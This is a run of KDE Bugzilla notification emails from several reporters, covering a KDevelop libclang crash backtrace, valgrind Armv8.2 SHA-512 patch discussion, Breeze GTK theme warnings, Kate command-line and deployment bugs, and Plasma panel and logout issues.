[kdevelop] [Bug 488069] Reproducible crash in libclang after ::Visitor::setTypeSize
https://bugs.kde.org/show_bug.cgi?id=488069 --- Comment #2 from Benjamin Huth --- In case its important, the system details: Operating System: Fedora Linux 40 KDE Plasma Version: 6.0.4 KDE Frameworks Version: 6.2.0 Qt Version: 6.7.0 Kernel Version: 6.8.10-300.fc40.x86_64 (64-bit) Graphics Platform: Wayland -- You are receiving this mail because: You are watching all bug changes.
[kdevelop] [Bug 488069] Reproducible crash in libclang after ::Visitor::setTypeSize
https://bugs.kde.org/show_bug.cgi?id=488069 --- Comment #1 from Benjamin Huth --- Created attachment 170166 --> https://bugs.kde.org/attachment.cgi?id=170166=edit source file to reproduce the crash (wrapped in archive because of file size) -- You are receiving this mail because: You are watching all bug changes.
[kdevelop] [Bug 488069] New: Reproducible crash in libclang after ::Visitor::setTypeSize
https://bugs.kde.org/show_bug.cgi?id=488069
Bug ID: 488069
Summary: Reproducible crash in libclang after
::Visitor::setTypeSize
Classification: Applications
Product: kdevelop
Version: git master
Platform: Compiled Sources
OS: Linux
Status: REPORTED
Severity: crash
Priority: NOR
Component: Language Support: CPP (Clang-based)
Assignee: kdevelop-bugs-n...@kde.org
Reporter: benjamin-h...@t-online.de
Target Milestone: ---
SUMMARY
Today I observed an crash in KDevelop, and I was able to extract a single
source file that can reproduce the crash, see attached file (produced using g++
-E, so no includes required).
The crash seems to happen in (anonymous namespace)::Visitor::setTypeSize in
src/plugins/clang/duchain/builder.cpp:950
KDevelop is built from sources against clang version 18.1.1 (Fedora
18.1.1-1.fc40).
In principle I'm willing to look into this, but currently I do not have time,
and maybe some experts already have an idea what this is.
Backtrace in gdb:
#0 0x7fffa0ee4104 in clang::ASTContext::getTypeInfoImpl(clang::Type
const*) const () at /lib64/libclang.so.18.1
#1 0x7fffa0ee5d5a in clang::ASTContext::getTypeInfoInChars(clang::Type
const*) const () at /lib64/libclang.so.18.1
#2 0x7fffa0ee5c50 in clang::ASTContext::getTypeInfoInChars(clang::Type
const*) const () at /lib64/libclang.so.18.1
#3 0x7fffa0ec4efc in clang_Type_getSizeOf () at /lib64/libclang.so.18.1
#4 0x7fffae29d9a6 in (anonymous namespace)::Visitor::setTypeSize
(type=..., kdevType=kdevType@entry=0x7fff83b924b0, this=)
at
/home/benjamin/Developement/kdevelop/kdevelop/src/plugins/clang/duchain/builder.cpp:950
#5 0x7fffae2a069d in (anonymous
namespace)::Visitor::dispatchType<(CXTypeKind)177> (this=,
type=..., cursor=...)
at
/home/benjamin/Developement/kdevelop/kdevelop/src/plugins/clang/duchain/builder.cpp:372
#6 (anonymous namespace)::Visitor::makeType (this=, type=...,
parent=...) at
/home/benjamin/Developement/kdevelop/kdevelop/src/plugins/clang/duchain/builder.cpp:1466
#7 0x7fffae2aa455 in (anonymous
namespace)::Visitor::createType<(CXCursorKind)10> (this=0x7fffa0bff6a0,
cursor=...)
at
/home/benjamin/Developement/kdevelop/kdevelop/src/plugins/clang/duchain/builder.cpp:707
#8 (anonymous namespace)::Visitor::createDeclaration<(CXCursorKind)10,
KDevelop::Declaration> (context=0x0, this=0x7fffa0bff6a0, cursor=..., id=...)
at
/home/benjamin/Developement/kdevelop/kdevelop/src/plugins/clang/duchain/builder.cpp:457
#9 (anonymous namespace)::Visitor::buildDeclaration<(CXCursorKind)10,
KDevelop::Declaration, false> (this=this@entry=0x7fffa0bff6a0, cursor=...)
at
/home/benjamin/Developement/kdevelop/kdevelop/src/plugins/clang/duchain/builder.cpp:1296
#10 0x7fffae2b2d6f in (anonymous
namespace)::Visitor::dispatchCursor<(CXCursorKind)13, (Decision)1, (Decision)1>
(this=0x7fffa0bff6a0, cursor=..., parent=...)
at
/home/benjamin/Developement/kdevelop/kdevelop/src/plugins/clang/duchain/builder.cpp:988
STEPS TO REPRODUCE
1. open empty session with empty project with attached file
2. wait a bit until background parser starts
OBSERVED RESULT
KDevelop crashes
EXPECTED RESULT
No crash
SOFTWARE/OS VERSIONS
Windows:
macOS:
Linux/KDE Plasma:
(available in About System)
KDE Plasma Version:
KDE Frameworks Version:
Qt Version:
ADDITIONAL INFORMATION
--
You are receiving this mail because:
You are watching all bug changes.
[plasma-nm] [Bug 487417] NetworkManager property “x-dynamic-challenge-echo:challenge-response” invalid or not supported
https://bugs.kde.org/show_bug.cgi?id=487417 --- Comment #3 from Benjamin Robin --- There is still the issue, that if "challenge-response-flags=2" is missing in the configuration file, the challenge will be saved in "[vpn-secrets]" section of the configuration file, and will break any subsequent VPN connection. -- You are receiving this mail because: You are watching all bug changes.
[plasma-nm] [Bug 487417] NetworkManager property “x-dynamic-challenge-echo:challenge-response” invalid or not supported
https://bugs.kde.org/show_bug.cgi?id=487417 Benjamin Robin changed: What|Removed |Added CC||benjarobin+...@gmail.com --- Comment #2 from Benjamin Robin --- I created a MR to fix it: https://invent.kde.org/plasma/plasma-nm/-/merge_requests/350 See also the (wrongly submitted by myself) bug report on the NetworkManager-openvpn plugin: https://gitlab.gnome.org/GNOME/NetworkManager-openvpn/-/issues/142 -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 484540] Panel settings have regressed, "windows can cover" is a missing option and is gravely missed.
https://bugs.kde.org/show_bug.cgi?id=484540 --- Comment #3 from benjamin weber --- Any pointers for where the right place to look to re-implement this is? I'm having some difficulty navigating the codebase. -- You are receiving this mail because: You are watching all bug changes.
[valgrind] [Bug 447989] Support Armv8.2 SHA-512 instructions
https://bugs.kde.org/show_bug.cgi?id=447989 --- Comment #17 from David Benjamin --- Ah whoops, yeah. TBH we probably don't strictly need to build the test with -march=armv8.2-a+sha3, since it's all in inline assembly anyway. I just carried that over from the other tests. But we do need the assembler to recognize the new instructions, which is probably analogous to checking if -march=armv8.2-a+sha3 works. -- You are receiving this mail because: You are watching all bug changes.
[plasma-nm] [Bug 487280] New: Network Icon shows yellow questionmark even though Wifi is connected
https://bugs.kde.org/show_bug.cgi?id=487280 Bug ID: 487280 Summary: Network Icon shows yellow questionmark even though Wifi is connected Classification: Plasma Product: plasma-nm Version: 6.0.4 Platform: Fedora RPMs OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: applet Assignee: plasma-b...@kde.org Reporter: benjamin-h...@t-online.de Target Milestone: --- Created attachment 169657 --> https://bugs.kde.org/attachment.cgi?id=169657=edit screenshot of the issue SUMMARY The nm-applet in my tray shows a yellow tick for every Wifi connection, even though it is connected properly (see attached image). I think the yellow question mark refers to a failed connectivity check. However, the icon in the system tray gets "normal" when I do `sudo systemctl restart NetworkManager`. For me this indicates, that the connectivity check is working, but something goes wrong when initializing the icon during system startup... If this turns out to be actual misbehaviour, I would be willing to look into the problem myself, but am not familiar with the source code of the plugin or how it works in general, so I would need some pointers from experts... STEPS TO REPRODUCE 1. Automatically log into wifi after system startup OBSERVED RESULT yellow questionmark in Wifi icon EXPECTED RESULT wifi icon indicating strength of connectivity SOFTWARE/OS VERSIONS Operating System: Fedora Linux 40 KDE Plasma Version: 6.0.4 KDE Frameworks Version: 6.1.0 Qt Version: 6.7.0 Kernel Version: 6.8.8-300.fc40.x86_64 (64-bit) Graphics Platform: Wayland Processors: 20 × 12th Gen Intel® Core™ i7-12700H Memory: 15.4 GiB of RAM Graphics Processor: Mesa Intel® Graphics -- You are receiving this mail because: You are watching all bug changes.
[valgrind] [Bug 447989] Support Armv8.2 SHA-512 instructions
https://bugs.kde.org/show_bug.cgi?id=447989 --- Comment #14 from David Benjamin --- (In reply to Paul Floyd from comment #13) > Thanks for the patches. I've applied, tested and pushed the first one. The > second patch looks OK so far but I'd like to check it on FreeBSD before > pushing the change. It might take me a little while to see if I can get my > hands on a suitable machine. Sounds good. Let me know if there's any way I can help! (I've been testing on a Linux VM on one an M1 Mac, which have the extension available. QEMU probably knows how to emulate it too.) -- You are receiving this mail because: You are watching all bug changes.
[valgrind] [Bug 447989] Support Armv8.2 SHA-512 instructions
https://bugs.kde.org/show_bug.cgi?id=447989 David Benjamin changed: What|Removed |Added Attachment #169538|0 |1 is obsolete|| --- Comment #12 from David Benjamin --- Created attachment 169540 --> https://bugs.kde.org/attachment.cgi?id=169540=edit [PATCH 1/2] Extract common arm64 SIMD helpers into a single header (Reattaching the first one with the right content type.) -- You are receiving this mail because: You are watching all bug changes.
[valgrind] [Bug 447989] Support Armv8.2 SHA-512 instructions
https://bugs.kde.org/show_bug.cgi?id=447989 David Benjamin changed: What|Removed |Added Attachment #145140|0 |1 is obsolete|| --- Comment #11 from David Benjamin --- Created attachment 169539 --> https://bugs.kde.org/attachment.cgi?id=169539=edit [PATCH 2/2] Add support for Armv8.2 SHA-512 instructions And here's the second one. Test expectations generated by running the test program uninstrumented, so it's unlikely that we're baking in any bugs. Think that's everything. Let me know if you'd like any more changeS! -- You are receiving this mail because: You are watching all bug changes.
[valgrind] [Bug 447989] Support Armv8.2 SHA-512 instructions
https://bugs.kde.org/show_bug.cgi?id=447989 --- Comment #10 from David Benjamin --- Created attachment 169538 --> https://bugs.kde.org/attachment.cgi?id=169538=edit [PATCH 1/2] Extract common arm64 SIMD helpers into a single header Alright, here's the first of the two patches. This one pulls out some common code for testing SIMD stuff. Git commit message in the patch has some notes. -- You are receiving this mail because: You are watching all bug changes.
[valgrind] [Bug 447989] Support Armv8.2 SHA-512 instructions
https://bugs.kde.org/show_bug.cgi?id=447989 --- Comment #8 from David Benjamin --- (In reply to Paul Floyd from comment #7) > I think that in this case I would just add sha512 tests to > none/tests/fp_and_simd (or fp_and_simd_v82 - I'm not sure what the minimum > version is for sha512). > > Otherwise I just added a section to README_DEVELOPERS on writing regression > tests. Ah, perfect! Thanks, that's all really helpful! I think I've gotten the start of it working. A couple questions before I finish this up: Regarding the generating the expected files by running the test, I assume those just record what my patch does. I.e. if my patch were wrong, the wrong things would get recorded in expectations. I've run my test against BoringSSL's use of these instructions, so I'm fairly confident it's correct. But it seems to me we can do better: just synthesize the expected output by running the instructions directly, without involving valgrind at all. I don't suppose this exists? (If not, no big deal. Like I said, I've already manually tested this against BoringSSL.) Regarding where to put the tests, these are indeed Armv8.2 instructions, but I noticed fp_and_simd_v82's prerequisite is actually the fphp (floating point half-precision) extension. These instructions are from a separate extension. My test device happens to have both but, in principle, they're orthogonal. Should I still put them in fp_and_simd_v82 or make a new one? I'm guessing a new one would be preferable, though this would get pretty large fast. Arm, alas, has lots and lots of extensions. E.g. I noticed that the Armv8.0 cryptography instructions are just in the plain fp_and_simd test, with no prereq, but not all Armv8.0 chips have those instructions. (It's pretty rare to omit them, but I think the Raspberry Pis don't?) If I make a new one, should I just copy all the various helper macros at the top of that file, or try to extract them somewhere? Seems they're in a few places already. -- You are receiving this mail because: You are watching all bug changes.
[valgrind] [Bug 447989] Support Armv8.2 SHA-512 instructions
https://bugs.kde.org/show_bug.cgi?id=447989 --- Comment #6 from David Benjamin --- This was quite some time ago, so I'll have to page this back in and remind myself how I tested this. :-) > This will also need a change in arm64g_dirtyhelper_MRS_ID_AA64ISAR0_EL1 I don't believe that code was there when I first uploaded the patch, but yeah, I can update that. > And at least one testcase would also be good! Yup. See the initial comment. :-P > I wasn't sure how adding tests worked, so it's missing those. Happy to fill > those in with some pointers. Do you have any pointers? -- You are receiving this mail because: You are watching all bug changes.
[Breeze] [Bug 486766] Gtk-WARNING **: GtkGizmo 0x6127b629ff10 (slider) reported min height -2, but sizes must be >= 0
https://bugs.kde.org/show_bug.cgi?id=486766 Benjamin Hennion changed: What|Removed |Added CC||benjamin.henn...@wanadoo.fr -- You are receiving this mail because: You are watching all bug changes.
[Breeze] [Bug 486765] Missing icons for GtkMenuButton's direction arrow
https://bugs.kde.org/show_bug.cgi?id=486765 Benjamin Hennion changed: What|Removed |Added CC||benjamin.henn...@wanadoo.fr -- You are receiving this mail because: You are watching all bug changes.
[Breeze] [Bug 486766] New: Gtk-WARNING **: GtkGizmo 0x6127b629ff10 (slider) reported min height -2, but sizes must be >= 0
https://bugs.kde.org/show_bug.cgi?id=486766 Bug ID: 486766 Summary: Gtk-WARNING **: GtkGizmo 0x6127b629ff10 (slider) reported min height -2, but sizes must be >= 0 Classification: Plasma Product: Breeze Version: 6.0.2 Platform: Arch Linux OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: gtk theme Assignee: plasma-b...@kde.org Reporter: benjamin.henn...@wanadoo.fr CC: agrine...@gmail.com, uhh...@gmail.com Target Milestone: --- Created attachment 169293 --> https://bugs.kde.org/attachment.cgi?id=169293=edit UI file with Scrollbar SUMMARY Whenever a GtkScrollbar is displayed, the terminal outputs: > Gtk-WARNING **: 08:38:04.284: GtkGizmo 0x6127b629ff10 (slider) reported min > height -2, but sizes must be >= 0 This does not happen with GTK_THEME=adwaita, so it is most likely a breeze-gtk issue. See also https://gitlab.gnome.org/GNOME/gtk/-/issues/4446 which suggests such issues are CSS-related. STEPS TO REPRODUCE 1. Download the attached gizmo.ui. It contains a GtkWindow with a GtkScrollbar. 2. Open it via `gtk4-builder-tool preview gizmo.ui` (with breeze as gtk theme in KCM) 3. See the warnings in the terminal output. 4. Try again with `GTK_THEME=adwaita gtk4-builder-tool preview gizmo.ui`. No warnings. OBSERVED RESULT > Gtk-WARNING **: 08:38:04.284: GtkGizmo 0x6127b629ff10 (slider) reported min > height -2, but sizes must be >= 0 EXPECTED RESULT No warning -- You are receiving this mail because: You are watching all bug changes.
[Breeze] [Bug 486765] New: Missing icons for GtkMenuButton's direction arrow
https://bugs.kde.org/show_bug.cgi?id=486765
Bug ID: 486765
Summary: Missing icons for GtkMenuButton's direction arrow
Classification: Plasma
Product: Breeze
Version: 6.0.2
Platform: Arch Linux
OS: Linux
Status: REPORTED
Severity: normal
Priority: NOR
Component: gtk theme
Assignee: plasma-b...@kde.org
Reporter: benjamin.henn...@wanadoo.fr
CC: agrine...@gmail.com, uhh...@gmail.com
Target Milestone: ---
Created attachment 169292
--> https://bugs.kde.org/attachment.cgi?id=169292=edit
Simple UI file with 5 menu buttons
SUMMARY
GtkMenuButton's arrows are not shown at all.
>From https://docs.gtk.org/gtk4/class.MenuButton.html#css-nodes
> Inside the toggle button content, there is an arrow node for the indicator,
> which will carry one of the .none, .up, .down, > .left or .right style
> classes to indicate the direction that the menu will appear in. The CSS is
> expected to provide a
> suitable image for each of these cases using the -gtk-icon-source property.
Something like the following should be added to gtk4's css file:
```
menubutton arrow.none { -gtk-icon-source: -gtk-icontheme("open-menu-symbolic");
}
menubutton arrow.down { -gtk-icon-source: -gtk-icontheme("pan-down-symbolic");
}
menubutton arrow.up { -gtk-icon-source: -gtk-icontheme("pan-up-symbolic"); }
menubutton arrow.left { -gtk-icon-source: -gtk-icontheme("pan-start-symbolic");
}
menubutton arrow.right { -gtk-icon-source: -gtk-icontheme("pan-end-symbolic");
}
```
STEPS TO REPRODUCE
1. Download the test.ui file attached. It contains a GtkWindow and 5
GtkMenuButtons, one in each direction.
2. Run `gtk4-builder-tool preview test.ui` with gtk theme set to Breeze in KCM.
3. See empty buttons
OBSERVED RESULT
Empty buttons
EXPECTED RESULT
Directional indicators in the buttons
--
You are receiving this mail because:
You are watching all bug changes.
[kate] [Bug 485677] CLI always opens new windows as if called with --new
https://bugs.kde.org/show_bug.cgi?id=485677 Benjamin Buch changed: What|Removed |Added Resolution|--- |FIXED Status|REPORTED|RESOLVED --- Comment #2 from Benjamin Buch --- This is fixed in: - https://cdn.kde.org/ci-builds/utilities/kate/release-24.05/windows/ There is new Bug which affected the deployment. I was able to workaround by copying the missing file from the previos release. - https://bugs.kde.org/show_bug.cgi?id=486158 -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 486158] New: May Release/Deployment is broken: KF6BreezeIcons.dll is not deployed
https://bugs.kde.org/show_bug.cgi?id=486158 Bug ID: 486158 Summary: May Release/Deployment is broken: KF6BreezeIcons.dll is not deployed Classification: Applications Product: kate Version: Git Platform: Microsoft Windows OS: Microsoft Windows Status: REPORTED Severity: critical Priority: NOR Component: general Assignee: kwrite-bugs-n...@kde.org Reporter: benni.b...@gmail.com Target Milestone: --- The latest Kate Windows Version and the current nightly are both missing the KF6BreezeIcons.dll: - https://cdn.kde.org/ci-builds/utilities/kate/release-24.05/windows/ - https://cdn.kde.org/ci-builds/utilities/kate/master/windows/ Without you can not execute the kate.exe. -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 485677] CLI always opens new windows as if called with --new
https://bugs.kde.org/show_bug.cgi?id=485677 Benjamin Buch changed: What|Removed |Added CC||benni.b...@gmail.com -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 485677] New: CLI always opens new windows as if called with --new
https://bugs.kde.org/show_bug.cgi?id=485677 Bug ID: 485677 Summary: CLI always opens new windows as if called with --new Classification: Applications Product: kate Version: 24.02.2 Platform: Microsoft Windows OS: Microsoft Windows Status: REPORTED Severity: normal Priority: NOR Component: application Assignee: kwrite-bugs-n...@kde.org Reporter: benni.b...@gmail.com Target Milestone: --- SUMMARY I configured TotalCommander to open files with Kate via: C:\Users\benjamin.buch\AppData\Local\Programs\Kate\bin\kate.exe "%1" I tested with the latest release and the nightly build from - https://cdn.kde.org/ci-builds/utilities/kate/release-24.02/windows/ - https://cdn.kde.org/ci-builds/utilities/kate/master/windows/# (2024-04-08) Whenever I open a file, a new window is opened with this file. Thats the behavior that should be trigger if I use: C:\Users\benjamin.buch\AppData\Local\Programs\Kate\bin\kate.exe --new "%1" Withtout --new, the expected behavior is to open the file in an existing Kate window. STEPS TO REPRODUCE PowerShell: PS C:\Users\benjamin.buch> C:\Users\benjamin.buch\AppData\Local\Programs\Kate\bin\kate.exe c:\Users\benjamin.buch\AppData\Local\Programs\Kate\bin\data\applications\org.kde.kate.desktop PS C:\Users\benjamin.buch> C:\Users\benjamin.buch\AppData\Local\Programs\Kate\bin\kate.exe C:\Users\benjamin.buch\AppData\Local\Programs\Kate\bin\data\applications\org.kde.kwalletd6.desktop OBSERVED RESULT Two seperate Kate Windows. EXPECTED RESULT Both files open in the same Kate Window. SOFTWARE/OS VERSIONS Windows: 11 KDE Plasma Version: 24.02.2 KDE Frameworks Version: 6.0.0 Qt Version: 6.6.2 ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 485159] Kate freezes for several seconds when switching from a large session
https://bugs.kde.org/show_bug.cgi?id=485159 Benjamin Currie changed: What|Removed |Added Summary|Kate freezes for several|Kate freezes for several |seconds when switching from |seconds when switching from |a large sessions|a large session -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 485159] New: Kate freezes for several seconds when switching from a large sessions
https://bugs.kde.org/show_bug.cgi?id=485159 Bug ID: 485159 Summary: Kate freezes for several seconds when switching from a large sessions Classification: Applications Product: kate Version: 24.02.1 Platform: Arch Linux OS: Linux Status: REPORTED Severity: minor Priority: NOR Component: sessions Assignee: kwrite-bugs-n...@kde.org Reporter: seegold1...@gmail.com Target Milestone: --- Kate does not crash, it just freezes for a dozen seconds or so. Viewing my system monitor a "ctags" process appears during the freeze and uses a lot of CPU. Then after the freeze it resumes as normal and the "ctags" process disappears. STEPS TO REPRODUCE 1. Git clone a large C code base like the linux kernel 2. Save a session which involves being inside of the large project 3. Switch out the the session with "new session" or switch to another session within the "recent sessions" menu 4. Observe long freeze Note it only seems to happen when switching out of the session, not when loading it in. OBSERVED RESULT A dozen second GUI freeze in Kate with the application turning grey for a bit EXPECTED RESULT No GUI freeze or at least some kind of loading bar to indicate something is happening. SOFTWARE/OS VERSIONS KDE Plasma Version: 6.0.3 and Kate version 24.02.1 -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 485011] New: Can't log out of Plasma 6
https://bugs.kde.org/show_bug.cgi?id=485011 Bug ID: 485011 Summary: Can't log out of Plasma 6 Classification: Plasma Product: plasmashell Version: 6.0.3 Platform: Arch Linux OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: Session Management Assignee: plasma-b...@kde.org Reporter: ben.r.x...@gmail.com Target Milestone: 1.0 Created attachment 168126 --> https://bugs.kde.org/attachment.cgi?id=168126=edit logs after triggering a logout SUMMARY I can't seem to log out of a Plasma 6 session properly. Pretty sure logout was working fine with Plasma 5. In Wayland, clicking Ok on the fullscreen log out dialog does nothing. In X11, the screen goes blank and all I can see is my mouse cursor. I get the following messages in journalctl: ``` Apr 03 21:52:46 arch-nas systemd[1]: Stopping User Runtime Directory /run/user/972... Apr 03 21:52:46 arch-nas systemd[1]: run-user-972.mount: Deactivated successfully. Apr 03 21:52:46 arch-nas systemd[1]: user-runtime-dir@972.service: Deactivated successfully. Apr 03 21:52:46 arch-nas systemd[1]: Stopped User Runtime Directory /run/user/972. Apr 03 21:52:46 arch-nas systemd[1]: Removed slice User Slice of UID 972. Apr 03 21:52:46 arch-nas systemd[1]: user-972.slice: Consumed 1.564s CPU time. Apr 03 21:52:47 arch-nas systemd[1]: dbus-:1.2-org.kde.kded.smart@0.service: Deactivated successfully. Apr 03 21:52:47 arch-nas systemd[1]: dbus-:1.2-org.kde.powerdevil.discretegpuhelper@0.service: Deactivated successfully. Apr 03 21:52:47 arch-nas systemd[1]: dbus-:1.2-org.kde.powerdevil.backlighthelper@0.service: Deactivated successfully. Apr 03 21:52:48 arch-nas systemd[1]: dbus-:1.2-org.kde.powerdevil.chargethresholdhelper@0.service: Deactivated successfully. Apr 03 21:52:54 arch-nas systemd[4500]: Created slice Slice /app/dbus-:1.2-org.kde.LogoutPrompt. Apr 03 21:52:54 arch-nas systemd[4500]: Started dbus-:1.2-org.kde.LogoutPrompt@0.service. Apr 03 21:52:54 arch-nas ksmserver-logout-greeter[5553]: qt.gui.imageio: libpng warning: iCCP: known incorrect sRGB profile Apr 03 21:52:54 arch-nas ksmserver-logout-greeter[5553]: kf.windowsystem: static bool KX11Extras::compositingActive() may only be used on X11 Apr 03 21:52:54 arch-nas plasmashell[5079]: qt.qpa.wayland: eglSwapBuffers failed with 0x300d, surface: 0x0 Apr 03 21:52:55 arch-nas systemd[4500]: Created slice Slice /app/dbus-:1.2-org.kde.Shutdown. Apr 03 21:52:55 arch-nas systemd[4500]: Started dbus-:1.2-org.kde.Shutdown@0.service. Apr 03 21:52:55 arch-nas systemd[4500]: Stopped target plasma-workspace-wayland.target. Apr 03 21:52:55 arch-nas systemd[4500]: Stopped target KDE Plasma Workspace. Apr 03 21:52:55 arch-nas systemd[4500]: Requested transaction contradicts existing jobs: Transaction for graphical-session.target/stop is destructive (drkonqi-coredump-pickup.service has 'start' job queued, but 'stop' is included in transaction). Apr 03 21:52:55 arch-nas systemd[4500]: graphical-session.target: Failed to enqueue stop job, ignoring: Transaction for graphical-session.target/stop is destructive (drkonqi-coredump-pickup.service has 'start' job queued, but 'stop' is included in transaction). Apr 03 21:52:55 arch-nas systemd[4500]: Stopped target KDE Plasma Workspace Core. Apr 03 21:52:55 arch-nas systemd[4500]: Stopped target Startup of XDG autostart applications. Apr 03 21:52:55 arch-nas systemd[4500]: Stopped target Session services which should run early before the graphical session is brought up. Apr 03 21:52:55 arch-nas systemd[4500]: dbus-:1.2-org.kde.LogoutPrompt@0.service: Main process exited, code=exited, status=1/FAILURE Apr 03 21:52:55 arch-nas systemd[4500]: dbus-:1.2-org.kde.LogoutPrompt@0.service: Failed with result 'exit-code'. ``` STEPS TO REPRODUCE 1. Log in 2. Click Logout from Kicker 3. Click OK to log out OBSERVED RESULT User is not logged out. EXPECTED RESULT User is logged out and SDDM shows up SOFTWARE/OS VERSIONS Operating System: Arch Linux KDE Plasma Version: 6.0.3 KDE Frameworks Version: 6.0.0 SDDM: 0.21.0 Qt Version: 6.6.3 Kernel Version: 6.8.3-arch1-1 (64-bit) Graphics Platform: X11 Processors: 24 × AMD Ryzen 9 3900X 12-Core Processor Memory: 31.3 GiB of RAM Graphics Processor: NVIDIA GeForce RTX 3090/PCIe/SSE2 Product Name: X570 Taichi -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 465862] Provide a tiling layout that divides the screen into 3 equally sized zones for ultrawide monitors
https://bugs.kde.org/show_bug.cgi?id=465862 Benjamin Xiao changed: What|Removed |Added Version|5.27.0 |6.0.3 -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 484875] After locking screen and turning off monitor, panels are occasionally placed in the wrong position
https://bugs.kde.org/show_bug.cgi?id=484875 --- Comment #2 from Benjamin Xiao --- Created attachment 168025 --> https://bugs.kde.org/attachment.cgi?id=168025=edit How it should be normally -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 484875] After locking screen and turning off monitor, panels are occasionally placed in the wrong position
https://bugs.kde.org/show_bug.cgi?id=484875 --- Comment #1 from Benjamin Xiao --- Created attachment 168024 --> https://bugs.kde.org/attachment.cgi?id=168024=edit Panel in wrong position after logging back in -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 484875] New: After locking screen and turning off monitor, panels are occasionally placed in the wrong position
https://bugs.kde.org/show_bug.cgi?id=484875 Bug ID: 484875 Summary: After locking screen and turning off monitor, panels are occasionally placed in the wrong position Classification: Plasma Product: plasmashell Version: 6.0.3 Platform: Arch Linux OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: Panel Assignee: plasma-b...@kde.org Reporter: ben.r.x...@gmail.com CC: niccolo.venera...@gmail.com Target Milestone: 1.0 *** If you're not sure this is actually a bug, instead post about it at https://discuss.kde.org If you're reporting a crash, attach a backtrace with debug symbols; see https://community.kde.org/Guidelines_and_HOWTOs/Debugging/How_to_create_useful_crash_reports *** SUMMARY Sometimes I'll lock my screen and turn off my monitor (LG C2). Later, if I come back to my computer, turn on my monitor, and unlock my computer, I'll notice that the panels are placed in the wrong positions. Sometimes you need to cause the panel to go from "unfloat" to "float" state before the bug is triggered. Notifications are also placed in the center of my screen. This happens most frequently when the lock screen does this weird behavior where after typing in my password, there's an extra "Unlock" button that appears and I have to press enter again to get past it. Not sure what that bug is, but it usually preceeds this bug. STEPS TO REPRODUCE 1. Lock computer, turn off monitor. 2. Step away for a few minutes 3. Log back in OBSERVED RESULT Panel is in the wrong position. For me, its in the top left (See screenshot) EXPECTED RESULT Panel stays in the configured position SOFTWARE/OS VERSIONS Operating System: Arch Linux KDE Plasma Version: 6.0.3 KDE Frameworks Version: 6.0.0 Qt Version: 6.6.3 Kernel Version: 6.8.2-arch2-1 (64-bit) Graphics Platform: X11 Processors: 24 × AMD Ryzen 9 3900X 12-Core Processor Memory: 31.3 GiB of RAM Graphics Processor: NVIDIA GeForce RTX 3090/PCIe/SSE2 Product Name: X570 Taichi -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 484540] Panel settings have regressed, "windows can cover" is a missing option and is gravely missed.
https://bugs.kde.org/show_bug.cgi?id=484540 benjamin weber changed: What|Removed |Added CC||benji.we...@gmail.com --- Comment #2 from benjamin weber --- Dodge windows is not currently a replacement for windows can cover. Dodge appears to autohide if windows are close, whereas windows can cover kept the panel visible behind. Take this example https://benjiweber.co.uk/b/allscreens.png This panel now either covers the bottom of the chrome window , or disappears completely, making it useless. Whereas before the chrome could cover the panel in one place and the large amounts of panel on either side remain well usable. -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 468433] Cannot paste in the search field of quick open view
https://bugs.kde.org/show_bug.cgi?id=468433 --- Comment #9 from Benjamin Randazzo --- Thank you very much! -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 481380] Docked floating panel obscures adjacent screen with its blurred background
https://bugs.kde.org/show_bug.cgi?id=481380 --- Comment #11 from Benjamin Xiao --- @Bernhard, I can reliably reproduce it by disconnecting and reconnecting my external monitor. Bug doesn't appear until the monitor has been disconnected at least once. My steps to reproduce and more details are listed in my duped bug 483851 if anyone's curious. -- You are receiving this mail because: You are watching all bug changes.
[plasma-pa] [Bug 434218] Using the Mute hotkey repeatedly while having the plasma-pa applet open makes Plasma shell slow down
https://bugs.kde.org/show_bug.cgi?id=434218 Benjamin Xiao changed: What|Removed |Added Status|REPORTED|RESOLVED Resolution|--- |WORKSFORME --- Comment #5 from Benjamin Xiao --- I no longer experience this issue with Plasma 6. Closing -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 483851] Floating panel shows corruption on secondary screen when primary screen is stacked above it and disconnected
https://bugs.kde.org/show_bug.cgi?id=483851 Benjamin Xiao changed: What|Removed |Added Summary|Floating panel shows|Floating panel shows |corruption on secondary |corruption on secondary |screen when primary screen |screen when primary screen |is stacked on top of it and |is stacked above it and |disconnected|disconnected -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 395632] On RX Vega 64, KDE compositor does not run at 144Hz even though monitor refresh rate is set to 144Hz
https://bugs.kde.org/show_bug.cgi?id=395632 Benjamin Xiao changed: What|Removed |Added Status|REPORTED|RESOLVED Resolution|--- |WORKSFORME --- Comment #63 from Benjamin Xiao --- I no longer get this issue with both my AMD and Nvidia GPUs. Closing. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 483851] Floating panel shows corruption on secondary screen when primary screen is stacked on top of it and disconnected
https://bugs.kde.org/show_bug.cgi?id=483851 --- Comment #4 from Benjamin Xiao --- Just for awareness, restarting plasmashell with `kquitapp6 plasmashell && kstart plasmashell` works around this issue until the next monitor disconnect. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 483851] Floating panel shows corruption on secondary screen when primary screen is stacked on top of it and disconnected
https://bugs.kde.org/show_bug.cgi?id=483851 --- Comment #3 from Benjamin Xiao --- Created attachment 167383 --> https://bugs.kde.org/attachment.cgi?id=167383=edit Things are fine when floating panel remains floating -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 483851] Floating panel shows corruption on secondary screen when primary screen is stacked on top of it and disconnected
